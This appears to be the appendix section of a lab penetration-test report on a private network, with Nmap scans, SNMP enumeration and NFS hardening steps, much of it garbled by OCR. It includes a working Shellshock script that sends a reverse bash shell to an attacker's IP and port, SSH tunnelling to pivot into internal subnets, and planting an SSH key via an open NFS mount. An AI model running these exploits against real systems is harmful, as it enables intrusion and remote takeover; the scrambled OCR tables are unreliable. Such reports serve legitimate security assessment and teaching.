Nmap scan report for 192.168.0.226 Host is up (0.00038s latency). Not shown: 997 closed ports PORT STATE SERVICE 23/tcp open telnet 80/tcp open http 443/tcp open https

Nmap scan report for 192.168.0.229 Host is up (0.00039s latency). Not shown: 997 closed ports PORT STATE SERVICE 23/tcp open telnet 80/tcp open http 443/tcp open https

Nmap scan report for 192.168.0.230 Host is up (0.00059s latency). Not shown: 997 closed ports PORT STATE SERVICE 23/tcp open telnet 80/tcp open http 443/tcp open https

Nmap scan report for 192.168.0.233 Host is up (0.00064s latency). Not shown: 997 closed ports PORT STATE SERVICE 23/tcp open telnet 80/tcp open http 443/tcp open https

Nmap scan report for 192.168.0.242 Host is up (0.00097s latency). Not shown: 997 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 111/tcp open rpcbind

Nmap scan report for 192.168.0.193 Host is up (0.00021s latency). Not shown: 996 closed ports PORT STATE SERVICE 22/tcp open ssh 23/tcp open telnet 80/tcp open http 443/tcp open https MAC Address: 00:50:56:99:6C:E2 (VMware) Nmap scan report for 192.168.0.199 Host is up (0.00020s latency). Not shown: 997 closed ports PORT STATE SERVICE 22/tcp open ssh 111/tcp open rpcbind 2049/tcp open nfs MAC Address: 00:0C:29:0D:67:C6 (VMware)

Nmap scan report for 192.168.0.200 Host is up (0.0000020s latency). Not shown: 999 closed ports PORT STATE SERVICE 111/tcp open rpcbind

Nmap done: 256 IP addresses (13 hosts up) scanned in 46.87 seconds

2.8 APPENDIX C – SHELLSHOCK SCRIPT

#!/bin/bash

```
usage() { echo "Usage: $0 [-t <target>] [-c </path to cgi>] [-a <attacker ip>] [-p <attacker port]" 1>&2; exit 1; }
```

```
while getopts ":t:c:a:p:" o; do
  case "${o}" in
    t)
       t=${OPTARG}
       ;;
    c)
       c=${OPTARG}
       ;;
    a)
       a=${OPTARG}
       ;;
    p)
       p=${OPTARG}
      ;;
    *)
      usage
       ;;
  esac
done
shift $((OPTIND-1))
if [ -z "${t}" ] || [ -z "${c}" ] || [ -z "${a}" ] || [ -z "${p}" ]; then
  usage
fi
gnome-terminal -e "nc -lvp ${p}" &
```

gnome-terminal -e "nc -lvp \${p}" & sleep 1 curl -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/\${a}/\${p} 0>&1" http://\${t}\${c}

2.9 APPENDIX D – SSH TUNNEL

| root@xadmin-virtual-machine: ~ | (| 9 0 | 8 |
|---|---------------------------------------|----------------------|-----------|
| File Edit View Search Terminal Help | | | |
| root@kali:∼# ssh 192.168.0.242 root@192.168.0.242's password: Welcome to Ubuntu 14.04 LTS (GNU/Linux 3.13.0-24-generic x86_64) | | | nel |
| * Documentation: https://help.ubuntu.com/ | | | |
| Last login: Wed Sep 27 18:15:49 2017 from 192.168.0.200 root@xadmin-virtual-machine:-# nano /etc/ssh/sshd config root@xadmin-virtual-machine:-# service ssh restart ssh stop/waiting ssh start/running, process 1623 root@xadmin-virtual-machine:-# exit logout Connection to 192.168.0.242 closed. root@kali:-# ssh -w 0:0 192.168.0.242 root@l92.168.0.242's password: Welcome to Ubuntu 14.04 LTS (GNU/Linux 3.13.0-24-generic x86_64) * Documentation: https://help.ubuntu.com/ Last login: Wed Sep 27 20:42:18 2017 from 192.168.0.200 root@xadmin-virtual-machine:-# ip addr add 1.1.1.2/30 dev tun0 root@xadmin-virtual-machine:-# ip link set tun0 up root@xadmin-virtual-machine:-# echo 1 > /proc/sys/net/ipv4/conf/all/for force_igmp_version forwarding root@xadmin-virtual-machine:-# echo 1 > /proc/sys/net/ipv4/conf/all/forwarding root@xadmin-virtual-machine:-# echo 1 > /proc/sys/net/ipv4/conf/all/forwarding root@xadmin-virtual-machine:-# iptables -t nat -A POSTROUTING -s 1.1.1.0/30 -o e root@xadmin-virtual-machine:-# | eth0 -j MAS(| QUERAI | DE |
| | | 0 | - |
| Toot@kati. ~ | • | | w |
| File Edit View Search Terminal Help | | | |
| <pre>root@kali:~# ip addr add 1.1.1.1/30 dev tun0 root@kali:~# ip link set tun0 up root@kali:~# route add -net 192.168.0.64/27 tun0 root@kali:~# root@kali:~# ssh stop/waiting </pre> | 7 from 19 /etc/ssh ice ssh r | 2.16 /ssh esta | 8. d_t |
| <pre>root@kali:~# traceroute 192.168.0.66</pre> | | | |
| traceroute to 192.168.0.66 (192.168.0.66), 30 hops max, 60 1 1.1.1.2 (1.1.1.2) 20.588 ms 19.934 ms 19.711 ms 2 192.168.0.241 (192.168.0.241) 16.675 ms 16.391 ms 15 3 192.168.0.97 (192.168.0.97) 15.815 ms 15.626 ms 15.5 4 192.168.0.66 (192.168.0.66) 19.666 ms 21.591 ms 21.4 | byte pac .878 ms 21 ms 49 ms | ket | 5 |

2.10 APPENDIX E – SOCKS5 PROXY



2.11 APPENDIX F -SSH KEYGEN

root@kali:~# mkdir nfs66
root@kali:~# mount -t nfs 192.168.0.66:/ nfs66/
root@kali:~/.ssh# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
/root/.ssh/id_rsa already exists.
Overwrite (y/n)? y

Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id rsa. Your public key has been saved in /root/.ssh/id rsa.pub. The key fingerprint is: SHA256:+yHRDyBMttoIVCPu6emvCTDg0F7w8ewics4tAoNJP5A root@kali The key's randomart image is: ion denied (publicke +----[RSA 2048]----+ 0.0 0 0. = . + + . E o + . o =.* + . S o B+ * + 00 =.++00... ==++.. 0. *B=0.. ----[SHA256]----+ root@kali:~/.ssh# cp id_rsa.pub ~/nfs66/home/xadmin/.ssh/authorized keys ali:~/.ssh# SSH AUTH SOCK=0 ssh xadmin@192.168.0.66 Welcome to Ubuntu 14.04 LTS (GNU/Linux 3.13.0-24-generic x86 64) * Documentation: https://help.ubuntu.com/ 575 packages can be updated. 0 updates are security updates.

Last login: Fri Sep 22 14:31:47 2017 from 192.168.0.242 xadmin@xadmin-virtual-machine:~\$

2.12 APPENDIX G -SNMP INFO

| <pre>root@kali:~# snmp-check snmp-check v1.9 - SNMP Copyright (c) 2005-2015</pre> | 192.168.0.226 -c se enumerator by Matteo Cantoni (| ecure www.nothink.org) | | |
|---|--|---|---|--|
| [+] Try to connect to 1 | shadow199 92.168.0.226:161 usi | homie ing SNMPv1 and communit | y 'secure' | |
| [*] System information: | | | | |
| Host IP address Hostname Description do Contact Location Uptime snmp Uptime system System date | : 192.168.0 : vyos : Vyata Vy : root : Unknown : 12:19:50. : 12:18:51. : 2017-9-28 | 0.226 (05 1.1.7 xadmin 10 35 805:56:24.0 | | |
| [*] Network information | | | | |
| IP forwarding enabled Default TTL TCP segments received TCP segments sent TCP segments retrans Input datagrams Delivered datagrams Output datagrams | : yes : 64 : 103 : 103 : 0 : 40918 : 10677 : 45364 | | | |
| <pre>combobb [*] Network interfaces:</pre> | | | | |
| Interface Id Mac Address Type Speed MTU In octets Out octets | getSubnetSn : [up]tc : 1 : ::::: : softwareL : 10 Mbps : 65536 : 97238 s): 97238 |) .oopback Unabl | | |
| Interface Id Mac Address Type Speed MTU | : [up] VM : 2 : 00:50:56: : ethernet- : 4294 Mbps : 1500 | Mware VMXNET3 Ethernet 99:56:5f csmacd | Controller meout was reached | |
| In octets Out octets | : 3005082 3307909 | | | |
| Interface Id Mac Address Type Speed MTU In octets Out octets | : [up] Ir : 3 : 00:50:56. : ethernet : 1000 Mbps : 1500 : 94714 : 882416 | ntel Corporation 82545E 99:af:41 -csmacd 5 | M Gigabit Ethernet Control | ler (Copper) |
| Interface Id Mac Address Type Speed MTU In octets Out octets | : [up] Ir : 4 : 00:50:56: : ethernet : 1000 Mbps : 1500 : 3306493 : 3019994 | ntel Corporation 82545E 99:cf:44 csmacd | M Gigabit Ethernet Control | ler (Copper) |
| [*] Network IP: | | | | |
| Id 1 1 3 2 4 | IP Address 2.2.2.2 127.0.0.1 192.168.0.33 192.168.0.226 192.168.0.29 | Netmask 255.255.255.255 255.0.0.0 255.255.255.255.224 255.255.255.255 255.255.255.252 | Broadcast 0 1 1 | |
| <pre>{ Routing information [*] Routing information</pre> | : | 255.255.255.252 | | |
| Destination 2.2.2.2 127.0.0.0 192.168.0.32 192.168.0.64 192.168.0.64 192.168.0.128 192.168.0.128 192.168.0.128 192.168.0.224 192.166.0.228 192.166.0.232 | Next hop 0.0.0.0 0.0.0.0 192.168.0.230 192.168.0.230 192.168.0.230 192.168.0.225 0.0.0.0 0.0.0.0 192.168.0.230 192.168.0.230 | Mask 255.255.255.255 255.0.0 255.25.255.255.224 255.255.255.255.224 255.255.255.255.224 255.255.255.255.224 255.255.255.255.252 255.255.255.255.252 255.255. | Metric 0 1 1 1 0 1 1 1 1 0 1 | |
| | | | | |
| [*] TCP connections and Local address 0.0.0.0 0.0.0.0 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 | d listening ports: Local port 443 199 199 199 58086 58087 58089 snarow242 | Remote address 0.0.0.0 0.0.0.0 0.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 | Remote port 0 0 50086 58087 58089 199 199 199 | State listen listen established established established established established |
| [*] Listening UDP port | | | | |
| Local address 0.0.0.0 2.2.2.2.1 127.0.0.1 192.168.0.33 192.168.0.226 192.168.0.229 | Local port 123 161 123 123 123 123 123 123 123 | | | |

| root@kali:~# snmp-check snmp-check v1.9 - SNMP | enumerator | Jre | | |
|---|--|---|---|--|
| [+] Try to connect to 1 | 92 168 0 193-161 usin | n SNMPv1 and communi | ty 'secure' | |
| [*] System information: | | J Shell VI and Communit | ty secure | |
| Host IP address Hostname Description Location Uptime snmp Uptime system System date | : 192.168.0.1 : vyos : Vyatta Vyos : root : Unknown : 12:25:21.8 : 12:24:24.60 : 2017-9-28 (0 | 193 5 1.1.7 xadmin 3 2 96:01:57.0 | | |
| [*] Network information | | | | |
| IP forwarding enabled Default TTL TCP segments received TCP segments sent TCP segments retrans Input datagrams Delivered datagrams Output datagrams | 1 : yes : 64 1 : 2547 : 1493 : 0 : 4.1824 : 11156 : 45195 | | | |
| [*] Network interfaces: | | | | |
| Interface Id Mac Address Type Speed MTU In octets Out octets | <pre>getsubmersh : [up] lo : 1 : ::::: : softwareLoc : 10 Mbps : 65536 : 97765 sh: 97765</pre> | opback | | |
| Interface | : [up] VMwa | unab are VMXNET3 Ethernet | le to eject ANDRE Controller | |
| Id Mac Address Type Speed MTU In octets Out octets | : 2 : 00:50:56:99 : ethernet-c: : 4294 Mbps : 1500 : 3172086 : 4204443 | 0:6c:e2 macd | | |
| Interface Id Mac Address Type Speed MTU In octets Out octets | : [up] Inte : 3 : 00:50:56:99 : ethernet.c: : 1000 Mbps : 1500 : 3407370 : 3103331 | el Corporation 82545 9:91:e4 smacd | EM Gigabit Ethernet C | ontroller (Copper) |
| [*] Network IP: | | | | |
| Id 1 2 3 | IP Address 1.1.1.1 127.0.0.1 192.168.0.193 192.168.0.225 | Netmask 255.255.255.255 255.0.0.0 255.255.255.224 255.255.255.252 | Broadcast 0 0 1 1 | |
| [*] Routing information | | | | |
| DestInation 1.1.1.1 127.0.0.0 192.168.0.32 192.168.0.32 192.168.0.96 192.168.0.128 192.166.0.128 192.166.0.224 192.168.0.224 192.168.0.232 192.168.0.240 | Next hop 0.8.0.0 192.168.0.226 192.168.0.226 192.168.0.226 192.168.0.226 192.168.0.226 0.8.0.0 0.8.0.0 192.168.0.226 192.168.0.226 | Mask 255.255.255.255.255 255.0.0.0 255.255.255.254 255.255.255.224 255.255.255.224 255.255.255.224 255.255.255.255.224 255.255.255.255.252 255.255.255.255.252 255.255. | Metric 0 1 1 1 0 0 1 1 | |
| [*] TCP connections and | l listening ports: | | | |
| Local address 0.0.0.0 0.0.0.0 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 | Local port 22 80 199 199 199 199 199 40856 40858 | Remote address 0.0.0.0 0.0.0.0 0.0.0.0 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 127.0.0.1 | Remote port 0 0 40856 40856 40858 40860 199 199 | State Listen Listen Listen established established established established established |

2.13 APPENDIX H – NFS PERMISSIONS

- 1. Open /etc/exports in a text editor of choice (nano shown)
- 2. Change the mount point, r/w permissions and enable root_quash:



4. Restart the service to apply changes:

| xadmin@xadmin-virtual-machine:~\$ sudo service nfs-kernel-server restart * Stopping NFS kernel daemon nknown comm | [0K] |
|--|------------------|
| * Unexporting directories for NFS kernel daemon | [OK] |
| exportfs: /etc/exports [1]: Neither subtree_check' or 'no_subtree_check' specified for export .*:/home/xadmin/" | "192.168.0 |
| * Starting NFS kernel daemon | [0K] [0K] |
| xadmin@xadmin-virtual-machine:~\$ | [on] |

2.14 APPENDIX I – FINAL NMAP SCAN

root@kali:~# nmap 192.168.0.0-255

Starting Nmap 7.40 (https://nmap.org) at 2017-09-27 18:43 EDT Nmap scan report for 192.168.0.33 Host is up (0.0011s latency). Not shown: 997 closed ports PORT STATE SERVICE 23/tcp open telnet 80/tcp open http 443/tcp open https 123/udp open ntp 161/udp open snmp Nmap scan report for 192.168.0.34 Host is up (0.0012s latency). Not shown: 997 closed ports PORT STATE SERVICE 22/tcp open ssh 111/tcp open rpcbind 2049/tcp open nfs 111/udp open rpcbind 2-4 631/udp open ipp 2049/udp open nfs_acl 5353/udp open mdns Nmap scan report for 192.168.0.65 Host is up (0.0019s latency). Not shown: 997 closed ports PORT STATE SERVICE 23/tcp open telnet 80/tcp open http 443/tcp open https 123/udp open ntp 161/udp open snmp Nmap scan report for 192.168.0.66 Host is up (0.0021s latency). Not shown: 997 closed ports PORT STATE SERVICE 22/tcp open ssh

22/tcp open ssh 111/tcp open rpcbind 2049/tcp open nfs 111/udp open rpcbind 2-4 631/udp open |filtered ipp 2049/udp open nfs_acl 5353/udp open mdns

Nmap scan report for 192.168.0.97 Host is up (0.0019s latency). Not shown: 997 closed ports PORT STATE SERVICE 23/tcp open telnet 80/tcp open http 443/tcp open https 123/udp open ntp 161/udp open snmp

Nmap scan report for 192.168.0.98 Host is up (0.0039s latency). Not shown: 995 filtered ports PORT STATE SERVICE 53/tcp open domain 80/tcp open http 2601/tcp open zebra 2604/tcp open ospfd 2605/tcp open bgpd 53/udp open domain 123/udp open ntp

Nmap scan report for 192.168.0.129 Host is up (0.0014s latency). Not shown: 997 closed ports PORT STATE SERVICE 23/tcp open telnet 80/tcp open http 443/tcp open https 123/udp open ntp 161/udp open snmp

Nmap scan report for 192.168.0.130 Host is up (0.0018s latency). Not shown: 997 closed ports PORT STATE SERVICE 22/tcp open ssh 111/tcp open rpcbind 2049/tcp open nfs 111/udp open rpcbind 2-4 631/udp open |filtered ipp 2049/udp open nfs_acl 5353/udp open mdns

Nmap scan report for 192.168.0.225

Host is up (0.00057s latency). Not shown: 996 closed ports PORT STATE SERVICE 22/tcp open ssh 23/tcp open telnet 80/tcp open http 443/tcp open https 67/udp open |filtered dhcps 123/udp open ntp 161/udp open snmp

Nmap scan report for 192.168.0.226 Host is up (0.0010s latency). Not shown: 997 closed ports PORT STATE SERVICE 23/tcp open telnet 80/tcp open http 443/tcp open https 123/udp open ntp 161/udp open snmp

Nmap scan report for 192.168.0.229 Host is up (0.00092s latency). Not shown: 997 closed ports PORT STATE SERVICE 23/tcp open telnet 80/tcp open http 443/tcp open https 123/udp open ntp 161/udp open snmp

Nmap scan report for 192.168.0.230 Host is up (0.0013s latency). Not shown: 997 closed ports PORT STATE SERVICE 23/tcp open telnet 80/tcp open http 443/tcp open https 123/udp open ntp 161/udp open snmp

Nmap scan report for 192.168.0.233 Host is up (0.0014s latency). Not shown: 997 closed ports PORT STATE SERVICE 23/tcp open telnet 80/tcp open http 443/tcp open https 123/udp open ntp 161/udp open snmp

Nmap scan report for 192.168.0.234 Host is up (0.0048s latency). Not shown: 995 filtered ports PORT STATE SERVICE 53/tcp open domain 80/tcp open http 2601/tcp open zebra 2604/tcp open ospfd 2605/tcp open bgpd 53/udp open domain 123/udp open ntp

Nmap scan report for 192.168.0.241 Host is up (0.0035s latency). Not shown: 995 filtered ports PORT STATE SERVICE 53/tcp open domain 80/tcp open http 2601/tcp open zebra 2604/tcp open ospfd 2605/tcp open bgpd 53/udp open domain 123/udp open ntp

Nmap scan report for 192.168.0.242 Host is up (0.0018s latency). Not shown: 997 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 111/tcp open rpcbind 111/udp open rpcbind 631/udp open |filtered ipp 5353/udp open mdns

Nmap scan report for 192.168.0.193 Host is up (0.00021s latency). Not shown: 996 closed ports PORT STATE SERVICE 22/tcp open ssh 23/tcp open telnet 80/tcp open http 443/tcp open https 123/udp open ntp 161/udp open snmp MAC Address: 00:50:56:99:6C:E2 (VMware)

Nmap scan report for 192.168.0.199 Host is up (0.00020s latency). Not shown: 997 closed ports PORT STATE SERVICE 22/tcp open ssh 111/tcp open rpcbind 2049/tcp open nfs 68/udp open|filtered dhcpc 111/udp open rpcbind 2-4 631/udp open|filtered ipp 2049/udp open nfs_acl 2-3 5353/udp open mdns MAC Address: 00:0C:29:0D:67:C6 (VMware)

Nmap scan report for 192.168.0.200 Host is up (0.0000010s latency). Not shown: 999 closed ports PORT STATE SERVICE 111/tcp open rpcbind

Nmap done: 256 IP addresses (19 hosts up) scanned in 64.27 seconds